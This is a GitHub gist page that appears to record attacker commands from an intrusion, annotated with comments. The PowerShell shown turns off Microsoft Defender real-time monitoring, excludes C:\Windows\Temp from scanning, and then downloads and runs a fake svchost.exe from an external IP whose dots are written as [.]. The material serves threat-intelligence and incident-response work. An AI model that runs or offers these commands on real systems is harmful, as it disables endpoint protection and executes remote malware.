Skip to content

Instantly share code, notes, and snippets.

@Purp1eW0lf

Purp1eW0lf/SlashAndGrab_svchost.ps1

Created February 23, 2024 16:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Purp1eW0lf/f46e9c45eda038b684c1db2f3122214f to your computer and use it in GitHub Desktop.
Save Purp1eW0lf/f46e9c45eda038b684c1db2f3122214f to your computer and use it in GitHub Desktop.
Download ZIP
Raw
SlashAndGrab_svchost.ps1
#adversary excluded directories and neutralised Defender
powershell -ep bypass -c \"Set-MpPreference -DisableRealtimeMonitoring $true;
Set-MpPreference -ExclusionPath C:\\Windows\\Temp;
#then downloaded their file
Invoke-WebRequest http://159[.]65[.]130[.]146:4444/svchost.exe -OutFile C:\\Windows\\Temp\\svchost.exe;
C:\\Windows\\Temp\\svchost.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment